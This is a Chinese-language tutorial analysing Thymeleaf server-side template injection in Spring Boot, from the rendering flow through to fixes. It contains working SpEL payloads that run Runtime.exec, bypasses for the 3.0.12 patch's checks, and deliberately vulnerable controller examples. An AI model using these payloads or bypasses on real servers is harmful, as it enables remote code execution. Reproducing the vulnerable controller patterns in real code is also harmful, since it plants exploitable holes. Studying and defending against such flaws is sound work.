完全搞懂Thymeleaf SSTI
字数 1777 2025-08-12 11:34:02
Thymeleaf SSTI (Server-Side Template Injection) 漏洞分析与利用指南
1. Thymeleaf 简介与基本配置
Thymeleaf 是 Spring Boot 推荐的模板引擎,用于构建动态 Web 页面。
基本配置步骤
- 引入依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
- 配置文件 (application.yml):
spring:
thymeleaf:
cache: false
prefix: classpath:/templates/
encoding: UTF-8
suffix: .html
mode: HTML
- 模板文件示例 (resources/templates/hello.html):
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Test</title>
</head>
<body>
<div th:fragment="main">
<span th:text="'hello ' + ${message}"></span>
</div>
</body>
</html>
2. Thymeleaf 基本语法
${}: 标准变量表达式*{}: 选择变量表达式(需配合th:object使用)@{..}: 链接表达式(用于th:href)th:action: 资源重定向th:each: 遍历
3. Thymeleaf SSTI 漏洞分析
漏洞环境搭建
- Thymeleaf 版本: 3.0.11.RELEASE
- Spring Boot 版本: 2.5.0 RELEASE
漏洞控制器示例:
@Controller
public class ThymeleafController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "world");
return "hello";
}
@GetMapping("/cmd")
public String eval(@RequestParam String cmd) {
return cmd;
}
}
漏洞触发流程
- 请求到达
DispatcherServlet#handle - 通过
ServletInvocableHandlerMethod#invokeAndHandle提取模板文件名 ViewNameMethodReturnValueHandler#handleReturnValue将返回值转为视图名称ThymeleafView#renderFragment处理模板渲染- 当模板名包含
::时,会将其用~{name}包裹并传入parseExpression StandardExpressionPreprocessor#preprocess处理__xxx__格式的字符串- 执行 SPEL 表达式,导致代码执行
Payload 构造原理
Thymeleaf 在处理包含 :: 的模板名时,会将 __xxx__ 部分作为表达式执行:
__${SPEL表达式}__::任意后缀
示例 Payload:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
4. 不同版本的差异与绕过技巧
Thymeleaf 3.0.12.RELEASE 的变化
-
新增限制:
- 禁止使用
new创建对象 - 禁止使用
T()调用静态方法 - 通过
SpringStandardExpressionUtils#containsSpELInstantiationOrStatic进行检查
- 禁止使用
-
绕过方法:
- 在
T和(之间插入特殊字符:%20,%0a,%09,%0d,%00 - 示例:
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
- 在
版本差异二:路径检查
-
新增限制:
- 检查视图名是否与请求路径或参数一致
- 通过
SpringRequestUtils#checkViewNameNotInRequest实现
-
绕过方法:
- 使用矩阵变量(分号):
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x - 修改路径结构:
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
- 使用矩阵变量(分号):
高级绕过技巧
-
利用 SPEL 解析特性:
- 在标识符中插入特殊字符:
%00,%0a,%0d,%09,%20 - 示例:
__${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
- 在标识符中插入特殊字符:
-
省略全类名:
- 利用
StandardTypeLocator自动补全java.lang包 - 示例:
__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
- 利用
5. 漏洞利用场景
不安全代码模式
- 直接返回参数:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang; // 直接返回用户输入
}
- 路径拼接:
@GetMapping("/admin")
public String path(@RequestParam String lang) {
return "en/test/" + lang;
}
- RESTful 风格:
@GetMapping("/home/{page}")
public String getHome(@PathVariable String page) {
return "home/" + page;
}
- 片段注入:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section;
}
- 无返回值方法:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
// 使用请求路径作为视图名
}
Payload: GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
6. 修复方案
- 使用 @ResponseBody:
@GetMapping("/safe/path")
@ResponseBody
public String safePath(@RequestParam String lang) {
return lang; // 不进行模板解析
}
- 重定向:
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; // 使用 RedirectView
}
- 直接使用 HttpServletResponse:
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
// 直接处理响应
}
- 升级到安全版本:
- 使用 Thymeleaf 3.0.12.RELEASE 或更高版本
- 注意仍需避免直接返回用户输入作为视图名
7. 总结
Thymeleaf SSTI 漏洞主要发生在以下情况:
- 用户输入直接作为视图名返回
- 用户输入拼接到视图路径中
- 无返回值方法使用请求路径作为视图名
关键点:
- 漏洞利用依赖于
__${SPEL}__::x格式的视图名 - 不同版本有不同的防护措施和绕过方法
- 修复核心是避免用户输入影响视图解析过程
通过理解 Thymeleaf 的模板解析机制和 Spring 的请求处理流程,可以更好地防御此类漏洞。